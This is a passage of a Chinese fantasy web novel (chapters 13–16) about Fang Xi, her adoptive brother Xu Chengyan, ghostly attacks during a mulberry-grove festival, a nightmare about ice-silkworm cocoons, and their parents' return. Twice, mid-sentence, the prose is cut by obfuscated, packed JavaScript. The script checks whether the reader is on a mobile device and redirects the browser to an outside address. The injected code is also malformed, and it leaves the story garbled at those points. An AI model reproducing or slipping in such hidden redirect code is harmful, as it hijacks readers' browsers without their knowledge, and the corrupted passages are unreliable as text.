说实话,方溪不太想说,一来她知道那些都是些子虚乌有的事,二来她怕那些话落在许成砚的耳朵里,以她兄长这种闷葫芦的性子定要思虑过多。可许成砚问起,一定是听到了什么风声,她再怎么瞒也瞒不住他。 方溪曲起膝抱臂,将头靠在手肘上,偏头看他:“胡子张说你坏话,我气不过就跟他吵了起来。” “胡子张?” “就是那个来往风丘戚邑两地的商人,我听人说他以前给二舅舅做过事,我不太喜欢他,他总是把从风丘的事情添油加醋带到戚邑来。” 看不清许成砚脸上的神情,但听到这里他似乎并不意外。 “所以他说了什么?” 方溪沉默不语,良久,她才郁闷道: “阿兄,为何你跟我不是一个姓呢?” 许成砚笑了笑。 13. 第 13 章 方溪幼时就曾问过阿娘,为何兄长不与她同姓。阿娘反问她,难道不同姓,许成砚就不是她的兄长了吗? 自此方溪再没问过。 如今谣言四起,方溪虽知道那些只是别人在捕风捉影,但还是想起一些不同寻常的东西。 她三岁的时候,爹娘便把许成砚过继给一双牌位,按理说要过继也得是活人才对,可爹娘偏偏端着一双牌位,让许成砚磕头跪拜。 那一双牌位至今都摆在家堂侧面,上面没有刻任何字,许成砚对着空牌位一拜就是十年。 有些记忆太久远,方溪也记不大清楚。 许成砚究竟是过继给什么人,她一概不知。 她每日跟在许成砚后面,望着他点香祭拜,一套下来已是日上三竿。 她有时也会跟着磕两个,许成砚见状,也只是静静地盯着她。 就如同现在这般。 他的眼眸本该是清冷澄澈的,而今却蒙上层郁色。奇怪的是,他脸上多了道浅浅的疤痕,从左鼻翼划至右眼角,像是利刃划伤后留下的痕迹。 不仔细看根本就发现不了。 明明她早晨出门时,许成砚的脸还完好无损,这才几个时辰她兄长就多了一条疤。 她盯着那条疤出神,脑海中血红画面一闪而过,眨眼间方溪就忘得一干二净。 许成砚盛好姜汤,低头吹了吹,勺子搅和几下,便送到她手上。 “我祭拜的空牌位上没写姓名,我猜爹娘是把我过继给姓许的人家。” 方溪一脸茫然地接过姜汤,喝了两口辛辣味在口腔里炸开,她抿唇吞咽道:“原来是这样,阿兄我刚刚说什么了?怎么突然聊起这个来。” “没说什么,闲聊罢了。” 许成砚瞥一眼她,不知从哪变出两块蜜饯,轻放在她手心里。 许成砚的指腹上有厚茧,滑过她掌心时让她心里莫名感到难受。 她也想不明白这情绪究竟是什么。好像有什么东西堵在心口,无法得到疏解。 方溪口含蜜饯,目光从许成砚的脸上挪到了院里的杏树上。 枝头挂满青果,再过半月这果子变得橙黄透红,酸甜适中,摘一些风干后,便成了她嘴里的蜜饯。 “方溪,”只听许成砚叹了一口气,“若我不是爹娘亲生的,你还会认我这个阿兄吗?” 许成砚只有在非常认真的情况下才会唤她全名。 方溪斩钉截铁道:“认。” “我在这世上只有三个亲人,爹娘,还有你。”方溪将蜜饯咀嚼咽下,舔了舔唇,舌尖抵着虎牙。 当许成砚听到方溪那声肯定的回答时,便按捺不住内心的不安,想让方溪在亲者间分个高低:“风丘的舅舅们呢?他们不是亲人吗?” “不算,他们欺负我们,算不得亲人。” 自打她祖父死后,风丘方家的亲人就不是亲人。三个舅舅明面上和蔼可亲,背地里没少给爹娘使绊子。 祖父死前曾立下先令劵书让阿娘继承家业,结果三个舅舅不仅不让爹娘见祖父最后一面,还派人来戚邑当着爹娘的面把先令劵书给撕了。 这次爹娘说是回风丘探亲,其实是去跟三个舅舅掰扯。 屋檐下挂着两绛纱灯,灯火葳蕤,映出灯面上两个涂鸦小人,似是兄妹。 雪花炭在火钳的拨弄下发出滋滋声,许成砚揽袖提起茶壶置于其上,茶水不小心溅落,水汽瞬间化作白汽。 少年冷白的面庞在火光下多了几分血色,他也不知自己为何会向妹妹索取一个确切的答案。 但妹妹的回答很显然让他很满意。 “我的亲人也只有你和爹娘。” 许成砚眉眼舒展,用拇指抹去方溪唇角的糖霜。小姑娘的脸蛋柔软如面团,一双杏眼明亮圆润,让人忍不住想捏了捏她的脸。 许成砚用手掌丈量她的脸,他的手掌比方溪还要宽厚,手指细长,指节匀称,这样一只手上却有几道因切药误伤浅浅的瘢痕。 方溪能感受到那些瘢痕带来细微的触感,温热的掌温让她下意识地蹭了蹭。 许成砚眼瞳微颤,在她贴过来时蜷缩起手指,指尖只是堪堪擦过她的脸颊,他错开视线极其生硬地调转话锋:“明日你同我去义诊,我盯着你做课业。” “啊?”怎么好端端的又说起这个来。方溪一听到“课业”两字就头大。 她的眼神骤然变得哀怨起来,捂住耳朵假装什么都听不到,摇头晃脑:“不听不听,阿兄念经。” 少年的腰背挺拔如松,衣襟松垮露出一截锁骨和坚实的胸膛。衣带束腰勾勒出他线条完美的身段,眉眼如画般迥然独秀。 他拉下妹妹的手,道: “做完课业,我带你去万桑林摘果子。” 小姑娘哼哼:“夏末果子都快没了。” “总会有几株晚熟的桑树,更何况明晚有二星相望,我听闻那里会有乐舞祈福。”许成砚瞟一眼她,挑眉遗憾道:“不过,看样子你也不感兴趣,那我只好自个去。” 一听可以去凑热闹,方溪眸光闪烁,雀跃着拽住许成砚的衣袍。 “我要去。” 许成砚有私心,少年人本就活泼好动,坐诊几日,枯燥乏味,他早就想出去撒欢。 正巧赶上有聚会,这不得拽着方溪去玩一玩。 别看方溪平日没个正形,翌日清晨,她破天荒地起了个早,爹娘交代的课业半日便熟记于心,至于修行一日两日也瞧不出什么来,她便随意念了两句咒语就当修炼完毕。 她换了身鲜亮襦裙,便跑到自家医馆里找许成砚。 少年端坐正堂,一袭月白袍服,眉眼柔和似无波清潭,眸光澄澈无比。 诊脉、记方,不骄不躁,与患者交谈时唇角总是带着三分笑。 方溪探头看了几眼,医馆还候着七八个病人,她担忧地看了看天色,日落枝头,这再过两个时辰万桑林就要开始祈福了。 许成砚的眸光不知何时落在门口的方溪身上。 方溪来回踱步不知在想着什么,最后她一拍脑门,小跑进医馆,挤到药房帮着药师一起抓药称量。 她手脚利索,药房派药快了不少。 “忌辛辣之物,冷水冲泡一刻,小火慢煨。” “饭后半个时辰再服药。” “……” 听着自家兄长那不急不慢的语调,方溪咬咬牙,心里莫名烦躁。 自打她进门后许成砚就当没看见她似的,一点反应都没有,她也不好得出声让兄长看病快些。 一旁的药师调侃道:“二小姐,你的眼睛别只盯着大少爷,可当心着别把药抓错了?” “谁盯着了,我才没有。” 药师无奈笑了笑。 方溪垂眼碾药,药枝被碾得嘎吱作响,企图掩盖住许成砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406177|184475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音。 许成砚一听便知方溪等得心焦,他用余光瞥她。 日落西山,微光化霞。 送走最后一个病人后,许成砚起身扭了扭酸疼的脖颈,还没等他唤方溪。 小姑娘便蹦蹦跳跳地跑到他跟前,挽起许成砚的胳膊往外拽,嘴里嘟囔着:“阿兄你快些,再不走,祭典就要结束了。” 许成砚朝药师摆摆手,药师心领神会,坐在看诊的位置上微笑。 “少爷放心,铺子有我看着。” 许成砚点头,目光落在方溪发顶翘起的一缕发,他用手指压了压,那缕发又翘了起来。 方溪:“不许拍头顶,日后我若是长不高就赖你。” 许成砚收回手,干咳一声掩饰自己的心虚,他眉眼在日暮中染上淡淡的橘红,手指藏在袖中指尖夹着根褐色的干花,拿到她眼前晃了晃。 “你这是把头埋药匣子里了,发间别了根忍冬都不知道。” 方溪半信半疑地看向他指尖的忍冬花,下意识伸手去拿,结果许成砚握起手,将忍冬碎于掌心,方溪抓了个空。 方溪茫然地抬眼,只见某人眉梢飞扬,方溪忽觉面颊如同被火烤一般。 她被耍了。 “许成砚!” 兄妹俩嬉戏打闹地声音伴着夏夜凉风吹到万桑林。 桑林乐舞本是熊卫国春季祭典,但在戚城四季同祭,春祈雨,夏禳灾,秋丰收,冬迎新。虽不如风丘那般庄严肃穆,但也是难得一见的盛大。 年轻的男男女女在桑林中载歌载舞,桑树下乐师鼓瑟吹笙,乐声轻快明朗。 月明星稀,篝火燎动。 少年人以陶哨换乐师一把瑟,他抱瑟在怀中靠坐在桑树之下。 他指尖拨弦望向林中跳舞人群,一眼便找出自家妹妹的身影。 方溪笑靥如花,她身边环绕着两名清俊少年,方溪与他们共舞。 许成砚手指压住一根弦,眼中的笑意黯淡无光。 两少年后脑勺一凉,缩着脑袋朝后看,只见人兄长面色不善,两人悻悻而逃。 许成砚才眉眼柔和下来,继续拨弦鼓瑟。 方溪无知无觉,身边早已换了人,年轻姑娘迎了上来,各种花香扑面而来,言笑晏晏。 乱花迷人眼,让人忍不住醉在期间。方溪阖上眸子,眩晕感渐渐取代她的感官。 再度睁眼,林中舞者已是森森白骨,明月早已染血,空气弥漫着一股来自冥府的气息。 她见小鬼提灯蹲在树上,鬼火幽幽。 她听小鬼打更游荡四周,铜锣震天。 夜游日游伴在方溪身侧,牛头马面问她: “黄毛小儿,寿数几何?” 方溪四肢仿若被铁链锁住,动弹不得,她背上千斤重,只得单膝跪下,沙石磨破她的膝盖,血腥味充盈在鼻息之间。 她母亲方姮曾言,幽冥殿有四副画,一画提灯,二画打更,三画夜游,四画日游。 一出大饥,二出大疫,三出战乱,四出天灾,齐出则生灵涂炭,百世不宁。 她究竟是犯了何种错要四鬼众来拿她。 方溪怒视它们,心有不甘道: “比你们长。” 四鬼众勃然大怒,血淋淋地弯月铡刀即将落下。 一道肃杀的瑟声割破血色幕布,撕碎那道来自血脉的催命符,将方溪重新拽回了人间。 14. 第 14 章 乐音戛然而止,弦顷刻间崩断,弹在瑟身之上发出沉重的闷响。 方溪像断了线的木偶一般瘫软身子,在快倒地都那刻,落入一个让她安心的怀抱中。 方溪明明听得到许成砚焦急的询问,却无法辨别他的意思,仿佛他说的是天外之言。 许成砚见她没反应,用手掌托着方溪的半张脸,强行喂她一粒提神醒脑的丹药,手指寻到她的穴位按压:“方溪,看着我,不要睡。” 方溪眼睫轻颤,发出浓浓的鼻音,哼了两声歪头枕在他的肩臂内侧,贪婪地嗅着他身上清香,以冲淡口里那股子药味。 没过一会儿,方溪迷迷瞪瞪地醒了过来,许成砚拧起的眉头放平了下来。 他将人拢入怀中,他的下巴抵着她的发旋。 方溪呢喃:“阿兄,我又梦见牛头马面来索我的命。” 许成砚的拇指拂过她的面颊,故作镇定安抚她道:“你睡迷糊了,有阿兄在,哪来小鬼敢招惹你?” 方溪虚弱地笑了笑,道:“这么说连鬼都怕阿兄你了?” “那当然。” “这样啊,那现在得劳烦连鬼都能吓跑的阿兄背我这个被鬼吓破胆的妹妹回家吧。”方溪扭头他,眼角水润带着碎光。 她手麻脚麻实在是起不来身。 许成砚什么也没说,躬身背上她,方溪那两只软若无骨的手臂垂在他胸前。 红月高高悬挂在天际,月上的沟壑扭曲成一张骷髅脸,两个黑黝黝的眼洞审视着死里逃生的神子。 一大一小两人踏着月华踏出了骷髅世界,恍若隔世,世界在刹那间染上万种颜色。 骷髅长出血脉经络,人们仍在沉浸伴着乐声在绿林中手舞足蹈。 兄妹俩归家的途中,月光为妹妹披上晶莹的薄纱。 许成砚并没有告诉方溪,是他废了一张爹娘留下的保命符把她从四鬼众手里抢了回来。 这些事方溪都不需要知道,她只需要平安健康就好,爹娘不在,就由他这个做兄长的护着她。 方溪被冥府使者拽入芥子空间发生在瞬息之间,他敏锐地察觉到危险靠近,甩出一张保命符。 符篆燃烧出的磷火有多猛烈,他的心就有多难受。 从小到大这类事件在方溪身上发生过无数次,至于缘由无从循迹。所以每次爹娘远行都会把保命符交给许成砚保管,以备不时之需。 她每次醒来说的话宛如刮骨刀一寸寸刮着他的血肉。 一个活生生的小姑娘动不动就被小鬼索命,醒来还说一些她是不是死了之类的话。她还那么小,本不该承受此等苦楚的。 万桑林是驱邪祈福的地界,那些小鬼本不该出现的。 “以后晚上少出门,不安全。” 方溪趴在许成砚背上,小声抗议:“白日闷在宅子里修炼就算了,晚上好不容易有空闲出来玩,你又说要少出门。你真舍得让你的亲妹妹像只小鸟一样关在笼子里生活吗?” 许成砚叹气道:“我也没说把你关家里不让出来。” 方溪才不听他解释,假哭两声,还用手抹了抹眼尾:“阿兄你变了,你不疼我了。” 方溪犯浑起来,谁都拿她没法。许成砚只好无奈妥协道:“好好好,阿兄收回刚刚的话,以后你想什么时候出来玩就什么时候出来玩。” “这还差不多。” . 管家方海早早在门口候着,迟迟不见小主人的身影,不免有些着急。只见远处飘来乌云遮住了月光,阴风乍起,吹灭街巷人家檐上灯笼,顿时漆黑一片。 方海差人将火符贴在灯笼上,符篆没贴一会儿,就被一阵劲风吹落,灯笼随即滚到地上,爆燃起一团妖异的磷火。 风停了,方海的脸上突然被什么东西蛰了一下。方海伸手摸脸,手指上染了水汽,他仰头看天,借着火光看清天际。雪如鹅毛铺天盖落在屋檐上,阴冷的寒风将家家户户门上的辟邪符掀走。 七月飞雪,乃是不祥之兆。 风的呼啸声宛如凶兽,凄厉无比。 登时,黑暗中传来沉重的脚步声,方海心提到了嗓子眼,汗毛竖起,他朝声音方向看去,黑影越发清晰。 原是少爷背着小姐回来了。 “海叔!我们回来啦!” 方海听到自家小姐的呼唤,捂着心口松了一口气:“回来就好,回来就好。” 他赶紧招呼小主人进家,末了不放心又在门上画了一道辟邪符,才关上大门。 . 他们刚回屋里没多久,院里的草木披上一层银装。 方溪坐在火炉旁冷得发抖,许成砚抱来一床被褥披在她身上。 许成砚抚上她的额头,眉头紧锁。 方溪知道他想说什么:“我不吃药。” 许成砚拒绝:“额头都烫成这样,还不吃药,烧坏脑子怎么办?” 方溪身上哪怕有稀薄的神族血脉,那也是肉体凡胎。 “我自己运功能降温。”说完,她手指捻诀,调用灵力,结果被许成砚打断施法。 许成砚:“还嫌自己病得不重,等着,我去给你拿冰蚕茧。” 极北冰蚕,以汲取冰晶为生,阴寒至极。成茧后若以秘法炮制,可做降温法宝,大户人家都会备上许多。 方溪抱膝看着他匆匆身影,许成砚身上似乎多了一个重影,她头疼脑胀,只觉那虚影比他还要高些,肩背不似少年郎单薄,一袭月白澜衫作书生模样。 她想,兄长若是再长几岁,便是那虚影的模样。 想着想着她一头栽倒在地上,还好有被褥垫底不然她额头得破个洞。 “阿昔。” 这嗓音听起来像是青年人而非少年郎。 方溪不知道何时吃的药,也不知自己是如何上榻的,只觉额头裹着一块冰凉之物,迷迷瞪瞪间只听见重物挪动的声音。 似乎有人在她床边支起另一张矮榻,睡在她床旁边。 窗外暴风雪呼啸,屋内只一盏灯火昏黄。 方溪迷糊道:“阿兄,我怕小鬼抓我,你一定要陪我。” 她伸出一条手垂在床边,许成砚捉住她的手,想放回被褥里,结果被方溪攥得紧紧的。 她不放手,许成砚只得任由她攥着,在一旁躺下。 “好,我陪着你。”他的嗓音又变成了少年的清朗。 许成砚替她掖了掖被子,见她在睡梦中因灯火叨扰美梦皱眉,他悄悄吹灭了床头的灯火。 方溪做了一个光怪陆离的梦。 梦中一夜间 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少年拽着妹妹的手,躲过白丝一次次的缠绕。逃亡的人一个一个倒下,那些“我不想死”的惨叫,叫得让人心颤。 方溪余光瞥见上空出现两道刺眼的强光,虫子不断吐出冰晶攻击着那团光,金铁交鸣响彻云霄。 终于有人来斩妖除魔了,大家有救了。 可当许成砚哭着求她,阿昔,不要看,不要看。她才明白与妖怪战斗的人是爹娘。 仙剑斩断冰茧的刹那,粉色的雪纷纷落下。 “娘!爹!” 方溪喊叫着从噩梦中醒来,许成砚惊醒坐起身将妹妹揽入怀中,拍打她的肩背安抚。 方溪眼泪止不住地流,她抓着许成砚的臂膀,眼中满是悲痛,她语无伦次哽咽道:“爹娘没了,阿兄。我梦见虫子,黑虫子杀了、杀了爹娘。” 许成砚替她擦眼泪,柔声细语:“爹娘好好的,明日就归家,刚刚只是梦而已。” “不是梦,不是梦,我的手很疼……怎么没有黑鳞。”方溪垂眼看自己的手,完好无损。 许成砚与她十指紧扣,他掌心的温度让人安心,方溪的情绪渐渐稳定下来,主动松开了许成砚的手,瘫坐在榻上一动不动。 许成砚见她惊魂未定,起身去点了一柱安神香。回来时,他见方溪把头上敷着的冰蚕茧扯了下来放手里观察。 “这是什么?” “冰蚕茧。” 方溪听后瞳孔剧烈颤动,她将冰蚕茧丢地上。 随后手中变出一把匕首,一刀刺穿冰蚕茧,将里面的虫子钉死在地上。 黑虫子扭了两下,最终化作齑粉。 许成砚从身后抱住她,顺势夺走她手中的匕首丢一旁,生怕她自己伤了自己。 方溪泪眼婆娑瞧着许成砚:“就是它,阿兄杀了它,它会害死我们所有人的。” “好,阿兄这就杀了这些虫子,你不要怕。” 许成砚虽不知她究竟做了什么噩梦,但还是按她说的那样,将家里的冰蚕茧全部销毁。 他陪她坐在床上,一直等到窗外照进第一缕阳光,方溪才缓过神来。 少顷,传来敲门声。 “少爷,小姐,姮大人回来了。” 15. 第 15 章 方溪踉踉跄跄地跑出屋子,许成砚紧跟其后。 谁的话她都不信,她要亲眼见到爹娘还活着。 她听见前院微乎其微的交谈声,心里焦急万分,她无法辨认出那是爹娘的声音,还是家仆的声音。 方溪脚仿若踩在细沙之上,怎样都使不上劲,她恨自己长了这一双没用的腿。 她在长廊的拐角处摔倒,霜雪冻死廊架上的花,只剩光秃秃的枝干半死不活。 许成砚将她扶起,方溪对上他那双忧郁的双眸,他说:“方溪,爹娘真的回家了。” 显然,许成砚的安抚并没有起到什么作用。 方溪凝视着他鼻梁上的疤痕,鼻头莫名发酸,还没张口说话,眼泪就夺眶而出。 许成砚顿时慌了手脚,以往方溪从不像今日这般敏感,大大咧咧,巴不得爹娘晚些归家。 他只得用袖子给她抹眼泪,少年郎也拿妹妹没办法,左顾右盼终于把爹娘等来了。 院门口立着个眉眼清婉的妇人,正拉着身旁高大英俊的丈夫说说笑笑。 管家在一旁低声说了句什么,两人纷纷朝这边走来。 没几步两口子便听到自家乖女儿啜泣声,还以为听错了,隔着莲花池瞅了两眼。 只见大儿子躬身给小女儿擦眼泪,神情慌乱的哄着妹妹。 两口子对视了一眼,这是太阳打西边出来了,小女儿居然会想爹娘了?彼此点头,感慨万分:“阿昔终于懂事了。” “哎呦,我家乖女儿这是怎么了?” 许成砚的肩头被人拍了拍,他扭头只见他爹相异笑眯眯看着他俩。 许成砚欣喜地喊了一声“爹”。 “好儿子。”相异弯下腰,展开臂膀将两孩子拢到怀里,分别用脸颊蹭了蹭他们的小脸。 老父亲身上的药味让方溪充满了安全感。 方溪哭嚎着回抱着亲爹和兄长:“爹,太好了,你还活着。” 相异:“……” 方姮噗嗤一声笑出声来,相异冲妻子无奈地摇摇头。 旋即相异扭头看大儿子,许成砚如实说道:“阿昔昨夜做噩梦,梦见你们出事了。” 相异捏了捏方溪的小脸,粲然一笑,安抚道:“你看,你爹我现在不是活的好好的吗?不哭不哭,待会儿爹给你俩做好吃的。” 方姮干咳了一声。 方溪听到亲娘的声音,无情地推开亲爹和兄长,扑倒方姮的怀里,又是一阵哭嚎。 老父亲只得与儿子勾肩搭背,说笑道:“你看你妹妹,见了娘就忘了爹和兄长了。” 许成砚的笑容从见到爹娘那刻就没从脸上下来过,替妹妹解释道:“阿昔很想你们,我也想你们。” 老父亲倍感欣慰,真不愧是他的好闺女、好儿子,没白养。 方姮轻轻拍着女儿的肩背,柔声细语道:“阿昔,做噩梦了呀?哎呦,这哭得小脸都花了。不怕不怕,爹娘永远在你们身边呢。” 方姮身上的花香萦绕在方溪鼻息之间,熟悉鲜活的气息让她慢慢镇静下来。 爹娘没死,爹娘活着,昨夜那些都只是梦而已。 方溪一直搂着方姮,仿佛只要松手,亲娘就会变成泡沫消失一般:“你们骗人。” 方姮撩她鬓发的手指顿了顿,她眼眸深处藏着淡淡哀伤:“爹娘发誓,余生都会陪伴在你们身边。” 方溪:“真的?” “真的。” 方姮看向相异:“孩他爹你说是不是?” “那是当然,今日回来,爹娘就不走了。以后咱们一家四口好好在戚城过小日子。” 方溪瞧瞧她爹,又看看亲娘,乖巧地点点头,擦干眼泪终于露出笑容。 方姮摸摸她的头,提议道:“阿昔若还是害怕,今夜我们娘俩一起睡。” 方溪将头埋到亲娘的肩上,仿若回到幼童时那般贪恋母亲的温暖。 相异听到半大孩子要跟自己抢位置,老没正经地来了一句:“那我睡哪?” 方姮微笑着瞥了他一眼。 “我跟儿子睡一屋,哈哈。” 相异眼神飘忽不定,挠了挠后脑勺,干笑两声后搂着许成砚去偏厅:“小砚,上回爹跟你说过的药方得改良了……” . 相异除了医术了得,做饭也是好手。方宅院子里有个露天灶台,平日相异得了空闲便是亲力亲为做一家四口的一日三餐。 相异掌勺那叫一个风雨无阻,雨天雪季便设下结界,隔绝冷气。 她爹做饭有个毛病,需要有人在旁边给他当学生。许成砚完美的充当了这个角色,学得津津有味。 相异掌勺说两句,许成砚就在旁边附和,顺便打打下手。 方姮与方溪便支一张软榻,坐着看父子俩大汗淋漓的干杂活。 趁这间隙,方姮同方溪讲述家族的渊源。 “方相氏一族本是效忠于大泽神国,领受闻天语圣谕辅佐大泽女君。大泽女君公然庇护人族触天帝,招致天谴,因此大泽再无君主,而我们也另寻他主。” “我们背离了天命,闻天语不会生气吗?” “她睡着了,什么都不知道。女君亡故,方相氏一族也不知如何自处,我想闻天语应该会理解我们的。”方姮也不知该如何向方溪讲述古老沉痛的往事,毕竟那些旧事充满了纷争与罪恶。 “神也会同我们人一样睡觉吗?” “当然。因为她太累了。救世四次,每一次都付出了惨痛的代价,失去母亲,失去兄弟姊妹,失去爱戴的她的人们,失去自我,眼睁睁看着三千界变得乌烟瘴气,却别无他法。” 方溪若有所思:“失败那么多次,什么都没改变,那就不要努力了呀。她为何那么执着?” “傻孩子,因为她是神啊。受人香火叩拜的神,若不能造福世间那她就不配为神。” “做神要失去的东西可真多,我不要修炼了,当人挺好的。” 她可不想飞升后失去爹娘和兄长。 方姮听着她童言无忌,抬眼看了看结界外的满天飞雪,叹道:“世事无常,做人做神都是一样的,失去不可怕,可怕的是不愿失去。” “娘,太深奥了,我听不懂。”方溪躺下将脑袋枕在母亲的腿上,揉着眼睛犯困道。 方姮抚摸着她柔软的头发,回忆着方溪儿时,当年小小一个孩子,现在长成了亭亭玉立的小姑娘。 “阿昔,听不懂是好事,有些东西没必要太明白。” 先前母女俩的一番话尽数进了许成砚的耳朵,他反复默念那句:“不愿失去。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406179|184475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳畔似乎有东西在七嘴八舌地说话。 “想救她,就得以命换命。去杀了那些人,杀了他们,她就能活。” “准备后事吧。” “她快死了,许成砚,她快死了啊啊啊啊。” 他忽然眼前一黑,踉跄两步,手扶着灶台才站稳身子。许成砚使劲晃脑袋,试图将脑海中那些嘈杂的声音消除。 相异发觉他不对劲,上前按住他的肩膀,“小砚,累的话就去休息一会儿,我这快忙完了。” “爹,那我去歇一会儿。” 许成砚单手抱臂,脚步虚浮地走到廊下。方溪坐起身,唤许成砚一起听讲。 许成砚过去坐在她身边,静静地听着母亲说着过去的事。 他其实没听进去多少,方溪总是不专心,探身看他,用手指在他眼前比划,手指相扣成蝴蝶、小狗,试探逗乐许成砚。 许成砚一边应着母亲方姮的话,一边挑动眉头对方溪的小动作做出回应。 方姮忽然说道:“小砚,你把方溪照顾得很好。” 许成砚回神看向方姮,从他很小的时候,母亲就是这么的温柔且包容,从来不会因他非亲生而苛待于他,待他如亲子。 而今方姮这句话,竟让他莫名的有种愧疚感。许成砚垂下眼,不敢去看方姮的眼睛,生怕她看出什么东西来,虽然他自己也不知道他在怕什么。 “无论过去如何,今后不必太苛求自己,尽人事听天命。” 方溪听得云里雾里。 许成砚莫名心头震颤,眼眶微微湿润,他抿了抿唇,道:“娘。我知道了。” “娘,我也把自己照顾得很好。” 方溪不服气,以为亲娘是在夸兄长一直负责照看自己,虽然事实如此但她就是要辩解一下,不然显得她很不懂事。 她拽着方姮的手摇晃,眉梢上扬:“你怎么只夸阿兄啊?我也没那么不懂事吧。” 方姮抱了抱小女儿:“是是是,阿昔长大了,已经很懂事了。不过,你们都还是孩子,有我们在也不必太懂事。” 许成砚点头,方溪依偎在她方姮的怀里。 “别聊了,我做了鱼羊鲜,来尝尝。” . 用完朝食,爹娘自然是要考校兄妹俩的功课。 许成砚自然是勤学典范,方溪靠着天赋略胜兄长一筹。 方溪原以为爹娘会向往日那般,敲打她不能仗着天赋就飘飘然,结果爹娘只是满脸欣慰的看着她。 方溪还真有点不习惯:“爹娘,你们怎么不说我呀?” 方姮没有回答她的问题,反而亲自教导她新的术法:“即日起,娘便把毕生所学都教你,不急于求成,你只需记下便可。” “好。”方溪面露难色,看来接下来几月她都不能贪玩了。 不能就她一个不能贪玩。 于是她指着一旁兄长,道:“娘,阿兄总不能闲着吧。” 许成砚哭笑不得,方溪都不能贪玩,他当然得陪着她啊。 许成砚自告奋勇:“我同爹学剑术。” 相异一拍大腿,拿出自己的剑,丢给他:“我正有此意,儿子接剑。” 许成砚接过一看,剑身通体发黑,剑身刻满铭文,剑柄出赫然刻着两个字。 忘归。 16. 第 16 章 据说当年相异铸造这把剑时,先是捉住黑夜与白昼交错的影子,汲取黄昏之色日日捶打后现雏形,再投入九天玄石打造的剑庐中烧制七七四十九日,开庐取剑方成。 相异讲的这个故事时,兄妹俩听到耳朵里全变成了叽里呱啦一堆,只觉得老父亲是在逗小孩。 因为这柄剑与普通的剑并没有太大区别。 至于剑名为何叫“忘归”,那是因为他们小时候老父亲经常去义诊,忙着忙着忘了回家带孩子。 剑成之后,母亲随口一句:“这剑就叫‘忘归’吧,方便提醒你早日归家看孩子。”这剑便定了名。 此剑承载着他们一家人的情意。 如今相异将剑交至许成砚的手中,不免让许成砚心神震动。 “爹,这是?”许成砚愣在原地,双手捧着剑,难以置信地看向相异。 “你跟着爹学了多少年剑道?” “四岁学起,十四入门,至今已有十二年。” 他自幼天资残缺,无法聚结灵力,只能修炼剑道磨砺心性。自然学得比常人要慢一些,但胜在他勤奋好学,每日修炼四个时辰,不分早晚。 有时方溪还未起床,许成砚便在院中拿着木剑练习剑势。 凡人修炼就好比垒石头,只有把地基打稳,能更上一层楼。方溪则反之,她天赋异禀,只需寻到方向便可一路坦途。 相异点头,笑道:“工欲善其事,必先利其器。修行如此,做人亦是如此。今日爹将忘归交与你,望吾儿此后常德乃足,复归于朴。” 相异又问:“你同爹学了多少年医道?” “亦是十二年。” 许成砚虽无法聚灵却聪明伶俐,医术典籍过目不忘,修习十二年医术,如今可担医士之名。 此后,若是走不通剑道还可靠医术行走世间。 “医术能修心,消弭戾气,看破生死。我教你十二年医,十二年剑,医存德信,剑护己身,不可行医害命,以剑谋财。” 相异教导孩子向来注重修身养性,天赋好不好在方家没那么重要。 成人后能有一技之长立足世间便可。 许成砚:“爹我记住了。” 相异走到他身旁,面容慈和,难得收起嬉皮相,看向他语重心长道:“若遇绝境绝不可恪守成规,当随机应变。” “绝境是指?” “逼到退无可退,只有一息尚存,便可弃陈规得生机。”相异仰头看着结界的穹顶,积雪已然遮住太阳,虽为白日世间却一片灰蒙。 “但愿此后不会发生这样的事。” 相异正在伤春悲秋,方溪瞧着许成砚手中的剑,有阿兄的肯定有她的。于是道:“爹,你都把剑给阿兄了,那我的法宝呢?” 相异转身面向妻子,还没来得及开口。方姮便从袖中拿出一个鼗鼓,左右摇晃,五色绳缀连的圆珠敲击鼓面,发出珠玉落盘的清响:“你的在娘这。” 方溪眼中的雀跃消失,取而代之的是一点点嫌弃:“这不是小时候逗我玩的东西吗?” “对啊,上面还有你的小字。” 方姮将鼗鼓放到她手里。方溪转动两下,眼前忽然燃起熊熊烈火,她看见祖辈在黑夜中起舞,召唤出千万萤火,璀璨如星河。 她瞳孔微张,呼吸有些不顺畅:“娘,这是礼器,我还未学完傩舞祭祀,你就把这么重要的东西交给我?” 方相氏一族以傩舞召唤神灵,感应闻天语的神谕。闻天语虽沉睡多年,但方相氏一脉从未忘记与神灵沟通的术法。 方溪还未完全学会,方姮便把礼器交给她,让方溪隐隐预感到有大事发生。 方姮的笑容如冬日暖阳,她撩起小女儿额角的青丝别至耳后,旋即温软的手指拢着女儿手,将鼗鼓紧紧握住:“正如你爹说的那样,工欲善其事,必先利其器。阿昔,你长大了,娘应该早点教会你这些的。” 方姮言语中遗憾,深深刺痛了方溪的心。 方溪不明白自己为何那么多愁善感?听到母亲的话,鼻头忍不住发酸。 . 晚间方溪躺在亲娘的怀里,她搂着方姮的腰不想撒手。 方姮的怀抱又香又暖和,飞雪星星点点落在窗棂上,母女俩在软榻上说悄悄话。 “阿昔,能告诉阿娘你都梦见了什么吗?” 方溪将头埋得更深,半晌才回话:“我梦见黑虫子把戚城毁了,还梦见你跟爹……” 她的话越说越小声,方姮将她抱得更紧。 方溪:“我看得很清楚那玩意就是冰蚕茧,它吃了很多人,阿娘我们明日动员大家把冰蚕茧全都烧了吧。” 